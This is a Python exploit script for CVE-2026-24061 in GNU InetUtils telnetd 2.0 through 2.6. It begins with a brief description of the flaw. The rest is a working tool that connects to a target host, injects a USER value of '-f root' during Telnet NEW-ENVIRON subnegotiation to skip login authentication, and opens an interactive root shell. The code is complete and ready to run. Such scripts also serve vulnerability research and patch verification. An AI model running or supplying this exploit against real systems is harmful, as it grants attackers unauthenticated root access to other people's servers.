# Exploit Title: GNU InetUtils telnetd - Remote Privilege Escalation
# Date: 2026-01-24
# Exploit Author: Ali Guliyev (infat0x)
# Author GitHub: https://github.com/infat0x
# Vendor Homepage: https://www.gnu.org/software/inetutils/
# Software Link: https://ftp.gnu.org/gnu/inetutils/
# Version: GNU InetUtils 2.0 through 2.6
# Tested on: Linux (various distributions using vulnerable inetutils-telnetd)
# CVE : CVE-2026-24061
import socket
import sys
import threading
import argparse
import re
"""
Description:
The telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to
authentication bypass via environment variable injection. By passing a
crafted USER environment variable (e.g., "-f root") during the Telnet
NEW-ENVIRON subnegotiation, an attacker can force the login process
to grant a root shell without requiring a password.
Technical Analysis:
The vulnerability exists because telnetd fails to sanitize the USER variable
before passing it as an argument to /bin/login. By prepending the -f flag,
the login utility skips the authentication phase.
"""
# Telnet Protocol Constants (RFC 854)
IAC = 255 # Interpret As Command
DONT = 254
DO = 253
WONT = 252
WILL = 251
SB = 250 # Subnegotiation Begin
SE = 240 # Subnegotiation End
# Telnet Option Codes (RFC 1572)
NEW_ENVIRON = 39
IS = 0
VAR = 0
VALUE = 1
def handle_negotiation(sock, cmd, opt):
"""Responds to standard Telnet negotiation sequences."""
if cmd == DO and opt == NEW_ENVIRON:
# Agreement to use the environment variable passing option
sock.sendall(bytes([IAC, WILL, NEW_ENVIRON]))
elif cmd == DO:
# Refuse other options for simplicity
sock.sendall(bytes([IAC, WONT, opt]))
elif cmd == WILL:
# Acknowledge the server's willingness
sock.sendall(bytes([IAC, DO, opt]))
def handle_subnegotiation(sock, sb_data, user_payload):
"""Executes the core exploit by injecting the malformed USER variable."""
if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON:
# Format: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
env_msg = (
bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) +
b'USER' +
bytes([VALUE]) +
user_payload.encode('ascii') +
bytes([IAC, SE])
)
sock.sendall(env_msg)
def process_telnet_stream(data, sock, user_payload):
"""Parses incoming data to separate control signals from actual text."""
clean_output = b''
i = 0
while i < len(data):
if data[i] == IAC and i + 1 < len(data):
cmd = data[i + 1]
if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data):
handle_negotiation(sock, cmd, data[i + 2])
i += 3
elif cmd == SB:
se_idx = i + 2
while se_idx < len(data) - 1:
if data[se_idx] == IAC and data[se_idx + 1] == SE:
break
se_idx += 1
if se_idx < len(data) - 1:
handle_subnegotiation(sock, data[i + 2:se_idx], user_payload)
i = se_idx + 2
else:
i += 1
else:
i += 2
else:
clean_output += bytes([data[i]])
i += 1
# Filter ANSI escape sequences for a cleaner shell experience
ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]')
return ansi_escape.sub(b'', clean_output)
def socket_reader_thread(sock, user_payload):
"""Background thread to handle server output."""
try:
while True:
raw_data = sock.recv(4096)
if not raw_data:
break
display_data = process_telnet_stream(raw_data, sock, user_payload)
if display_data:
sys.stdout.buffer.write(display_data)
sys.stdout.buffer.flush()
except (ConnectionResetError, BrokenPipeError):
pass
finally:
print("\n[*] Connection closed.")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-24061 Exploitation Tool")
parser.add_argument('host', help="Target IP address")
parser.add_argument('-p', '--port', type=int, default=23, help="Telnet port (default 23)")
args = parser.parse_args()
# The exploit payload to bypass login
user_payload = "-f root"
try:
client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_sock.settimeout(5)
client_sock.connect((args.host, args.port))
client_sock.settimeout(None)
print(f"[*] Connected to {args.host}:{args.port}")
print(f"[*] Sending payload: {user_payload}")
except Exception as e:
print(f"[!] Connection failed: {e}")
sys.exit(1)
# Launch output listener
threading.Thread(target=socket_reader_thread, args=(client_sock, user_payload), daemon=True).start()
print("[*] Interactive session started. Type commands below.\n")
try:
while True:
# Simple interactive shell loop
char = sys.stdin.read(1)
if not char:
break
client_sock.sendall(char.encode())
except KeyboardInterrupt:
print("\n[*] Exploit session terminated by user.")
finally:
client_sock.close()
if __name__ == "__main__":
main()